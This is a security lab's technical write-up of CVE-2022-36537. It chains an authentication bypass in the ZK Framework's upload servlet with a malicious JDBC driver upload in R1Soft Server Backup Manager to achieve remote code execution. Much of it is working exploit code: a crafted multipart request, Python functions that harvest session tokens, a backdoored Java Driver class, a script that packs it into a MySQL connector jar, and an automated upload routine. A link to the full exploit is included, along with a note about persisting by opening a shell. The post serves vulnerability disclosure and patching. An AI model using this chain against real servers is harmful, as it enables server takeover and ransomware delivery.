CVE-2022–36537 Vulnerability Technical Analysis with Exp

Numen Cyber Labs
Numen Cyber Labs
Published in
8 min readDec 9, 2022

Preface

ZK is the leading open-source Java Web framework for building enterprise Web applications. With over 2,000,000 downloads, ZK empowers a wide variety of companies and institutions, ranging from small to Fortune Global 500 in multiple industries.

R1Soft Server Backup Manager (SBM) offers service providers a flexible, server-friendly solution that takes the hassle out of running traditional backups. Users can run backups every 15 minutes without impacting server performance. Nearly 1,800 service providers use it to protect 250,000 servers.

Affected Versions

ZK Framework v9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1.
ConnectWise Recover v2.9.7 and earlier versions are impacted.
R1Soft Server Backup Manager v6.16.3 and earlier versions are impacted.

ZK Framework Auth Bypass

[ZK-5150] Vulnerability in zk upload — ZK-Tracker

From the vulnerability description, if the route /zkau/upload contains the nextURI parameter, the ZK AuUploader servlet will forward the forward request, which can bypass the identity authentication and return the files in the web context, such as obtaining web.xml, zk page, applicationContext -security.xml configuration information, etc.

Analysis

Look directly at the webapps/web-temp/ui/WEB-INF/lib/zk-7.0.6.1.jar!/org/zkoss/zk/au/http/AuUploader.class#service()method, receive the nextURI parameter and perform Request forwarded.

The request must be of a multipart type

if (!isMultipartContent(request)) {

Request Construct

Try forwarding to web.xml, and the response ZK-Error header is 410, indicating that it failed, and the dtid is a random input character.

Observe the http request and find that the dtid is randomly generated and comes with JSESSIONID.

Analyze the js called by the front end and find that the dtid is obtained from the zk.Desktop object.

Initiate an Ajax Request

Get dtid

Fill in dtid and the corresponding JSESSIONID

POST /zkau/upload?uuid=101010&dtid=z_h7y&sid=0&maxsize=-1 HTTP/1.1
Host: 10.211.55.6
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
ZK-SID: 3181
Accept: */*
Origin: http://10.211.55.6
Referer: http://10.211.55.6/login.zul
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Connection: close
Cookie:JSESSIONID=986150E63DB473A50F546481080F18CC
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ7idG4OgW5iZREBG
Content-Length: 154

------WebKitFormBoundaryJ7idG4OgW5iZREBG
Content-Disposition: form-data; name="nextURI"

/WEB-INF/web.xml
------WebKitFormBoundaryJ7idG4OgW5iZREBG--

Try to visit the page

nextURI=/Configuration/server-info.zul

It was found that authentication was bypassed and sensitive information of the application was obtained.

Auto Get

Use webdriver to get

# https://chromedriver.storage.googleapis.com/index.html?path=107.0.5304.62/
def bypass_auth1(target):
warnings.warn("Discard. The bypass auch2 function is simpler to obtain dtid and cookies.", DeprecationWarning)
rprint("[italic green][*] Bypass authentication.")
try:
opt = webdriver.ChromeOptions()
opt.add_argument('--headless')
opt.add_argument('--ignore-certificate-errors')
driver = webdriver.Chrome(executable_path='./chromedriver', options=opt)
driver.get(target)
cookie_str = "JSESSIONID=" + driver.get_cookie("JSESSIONID")['value']
dtid = driver.execute_script("""
for (var dtid in zk.Desktop.all)
return dtid
""")
return dtid, cookie_str
except Exception as e:
rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
exit()

Obviously, this method is not very convenient, and the author later found that the dtid has been generated and included in the response packet when accessing login.zul.

Optimize

def bypass_auth2(target):
rprint("[italic green][*] Bypass authentication.")
uri = "{0}/login.zul".format(target)
try:
result = requests.get(url=uri, timeout=3, verify=False, proxies=proxy)
cookie_str = result.headers['Set-Cookie'].split(";")[0]
r = u"dt:'(.*?)',cu:"
regex = re.compile(r)
dtid = regex.findall(result.text)[0]
return dtid, cookie_str
except Exception as e:
rprint("[italic red][-] Bypass authentication failed. {0}".format(e))
exit()

ConnectWise R1Soft Server Backup Manager RCE

R1Soft Server Backup Manager uses the zk framework and supports setting the jdbc driver to cause remote command execution and take over the server.

Analysis

jdbc upload processing zk-web/WEB-INF/classes/com/r1soft/backup/server/web/configuration/DatabaseDriversWindow.class#onUpload() method.

Follow up the processUploadedMedia() method to get the file stream.

Pass in webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#uploadMySQLDriver() method.

Write out the file via the uploadDriverFile() method.

webapps/lib/cdpserver.jar!/com/r1soft/backup/server/worker/db/mysql/MySQLUtil.class#hasMySQLDriverClass() will determine whether the uploaded jar package has org/gjt/mm/mysql/Driver .class, otherwise it will not be added to the classpath, return The file does not contain the MySQL JDBC database driver.

The webapps/lib/cdpserver.jar!/com/r1soft/util/ClassPathUtil.class#addFile() method calls URLClassLoader to add the jar package to the classpath.

Finally webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#testMySQLDatabaseDriver() for driver test.

webapps/lib/cdpserver.jar!/com/r1soft/backup/server/db/mysql/MySQLDatabaseConnection.class#driverTest() finally executes the static code block in Driver during Class.forName.

jdbc Backdoor

As early as 2018, someone proposed jdbc backdoor. Some applications allow administrators to upload jdbc drivers on the UI interface. This is very convenient, and there is no need to log in to the server to add related jar packages. However, static code blocks in DriverManager are executed by default, allowing arbitrary code to be executed. For specific principles, you can see how the SPI mechanism implements JDBC. We will not elaborate it on here.

Writing a malicious com.mysql.jdbc.Driver is actually to implement the methods related to the java.sql.Driver interface and add malicious code in the static code block.

package com.mysql.jdbc; 

import java.sql.*;
import java.util.*;
import java.util.logging.Logger;

/*
author: Bearcat of www.numencyber.com
desc : Mysql jdbc backdoor driver
*/
public class Driver implements java.sql.Driver {
static {
// any code...
}

@Override
public Connection connect(String url, Properties info) throws SQLException {
return null;
}

@Override
public boolean acceptsURL(String url) throws SQLException {
return false;
}

@Override
public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {
return new DriverPropertyInfo[0];
}

@Override
public int getMajorVersion() {
return 0;
}

@Override
public int getMinorVersion() {
return 0;
}

@Override
public boolean jdbcCompliant() {
return false;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

Replace com.mysql.jdbc.Driver in the legal jdbc package.

def build_jdbc_backdoor():
rprint("[italic green][*] Compile java code.")
java_cmd = 'javac -source 1.5 -target 1.5 Driver.java'
popen = subprocess.Popen(java_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
popen.stdout.read()

tmp_path = 'jdbc_jar'
os.mkdir(tmp_path)
with zipfile.ZipFile('mysql-connector-java-5.1.48.jar', 'r', zipfile.ZIP_DEFLATED) as unzf:
unzf.extractall("jdbc_jar")
unzf.close()
os.remove('jdbc_jar/com/mysql/jdbc/Driver.class')
shutil.copy('Driver.class', 'jdbc_jar/com/mysql/jdbc/')

with zipfile.ZipFile('jdbc_backdoor.jar', 'w', zipfile.ZIP_DEFLATED) as zf:
for root, dirs, files in os.walk(tmp_path):
relative_root = '' if root == tmp_path else root.replace(tmp_path, '') + os.sep
for filename in files:
zf.write(os.path.join(root, filename), relative_root + filename)
zf.close()
shutil.rmtree(tmp_path)

rprint("[italic green][*] Build jdbc backdoor success.")

Request Construct

Going back to the ZK framework mechanism itself, each element on the page will randomly generate a unique identifier, and it is necessary to simulate the entire request process, taking login as an example.

Auto Upload

Simulate upload drive process

def forward_request(target, next_uri, cookie_str, uuid, dtid):
uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, uuid, dtid)
param = {"nextURI": (None, next_uri)}
headers = {"Cookie": cookie_str}
data = MultipartEncoder(param, boundary="----WebKitFormBoundaryCs6yB0zvpfSBbYEp")
headers["Content-Type"] = data.content_type
try:
result = requests.post(url=uri, headers=headers, data=data.to_string(), timeout=3, verify=False, proxies=proxy)
return result
except Exception as e:
rprint("[italic red][-] Forward request failed. {0}".format(e))
exit()

def deploy_jdbc_backdoor(target):
rprint(
"[italic red][!] The jdbc backdoor can only be deployed once, please make it persistent, such as rebounding the shell.")
play_again = input("Whether to continue? (y/n):").lower()
if play_again[0] != "y":
exit()
# get login_dtid
login_dtid, cookie_str = bypass_auth2(target)
rprint("[italic green][*] Start deploying the jdbc backdoor.")
build_jdbc_backdoor()
# database_dtid and mysql_driver_upload_button_id
uri = "/Configuration/database-drivers.zul"
result = forward_request(target, uri, cookie_str, "101010", login_dtid)
r1 = u"{dt:'(.*?)',cu:"
regex = re.compile(r1)
database_dtid = regex.findall(result.text)[0]
r1 = u"'zul.wgt.Button','(.*?)',"
regex = re.compile(r1)
mysql_driver_upload_button_id = regex.findall(result.text)[0]

uri = "/zkau?dtid={0}&cmd_0=onClick&uuid_0={1}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D".format(
database_dtid, mysql_driver_upload_button_id)
result = forward_request(target, uri, cookie_str, "101010", login_dtid)

# file_upload_dlg_id and file_upload_id
r1 = u"zul.fud.FileuploadDlg','(.*?)',"
regex = re.compile(r1)
file_upload_dlg_id = regex.findall(result.text)[0]

r1 = u"zul.wgt.Fileupload','(.*?)',"
regex = re.compile(r1)
file_upload_id = regex.findall(result.text)[0]

uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, file_upload_id, database_dtid)
upload_jdbc_backdoor(uri, cookie_str)

uri = "/zkau?dtid={0}&cmd_0=onMove&opt_0=i&uuid_0={1}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={2}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{3}%22%2C%22sid%22%3A%220%22%7D".format(
database_dtid, file_upload_dlg_id, file_upload_dlg_id, file_upload_id)
forward_request(target, uri, cookie_str, "101010", login_dtid)

uri = "/zkau?dtid={0}&cmd_0=onClose&uuid_0={1}&data_0=%7B%22%22%3Atrue%7D".format(database_dtid,
file_upload_dlg_id)
forward_request(target, uri, cookie_str, "101010", login_dtid)

def upload_jdbc_backdoor(uri, cookie_str):
rprint("[italic green][*] Upload the database driver.")
headers = {"Cookie": cookie_str}
files = {'file': ('b.jar', open('jdbc_backdoor.jar', 'rb'), 'application/java-archive')}
try:
requests.post(uri, files=files, headers=headers, timeout=6, verify=False, proxies=proxy)
except Exception as e:
rprint("[italic red][-] Upload the database driver failed. {0}".format(e))
exit()

Take advantage of this demo

For the complete exploit, please visit: https://github.com/numencyber/VulnerabilityPoC/tree/main/CVE-2022-36537

Summary

R1Soft Server Backup Manager uses the ZK framework as the main framework. Its security requires all Web3 project parties to pay more attention to the security vulnerabilities of various Web3 infrastructures and patch them in time to avoid potential security risks and digital asset losses. We will dig out in time, track various security risks on web3, and provide leading security solutions to ensure that the web3 world chain and off-chain are safe and sound.

Internet Influence

More than 4,000 exposed Server Backup Managers were found through Shodan, which are likely to be used by attackers to take over the master server and agent host permissions and deliver ransomware. It is recommended that all Web3 project parties pay more attention and upgrade to the safe version in time to avoid potential security risks and digital asset losses. If you have any questions or technical exchanges, please contact us at operation@numencyber.com.

Patch Download

[ZK-5150] Vulnerability in zk upload — ZK-Tracker

ConnectWise Recover and R1Soft Server Backup Manager Critical Security Release

Numen Cyber Labs is committed to facilitating the safe development of Web3.0. We are dedicated to the security of the blockchain ecosystem, as well as operating systems & browser/mobile security. We regularly disseminate analyses on topics such as these, please stay tuned for more!

--

--

Numen Cyber Labs
Numen Cyber Labs

Numen Cyber Technology is a Cybersecurity vendor and solution provider based in Singapore.We dedicate ourselves in Web3 Security and Threat Detection & Response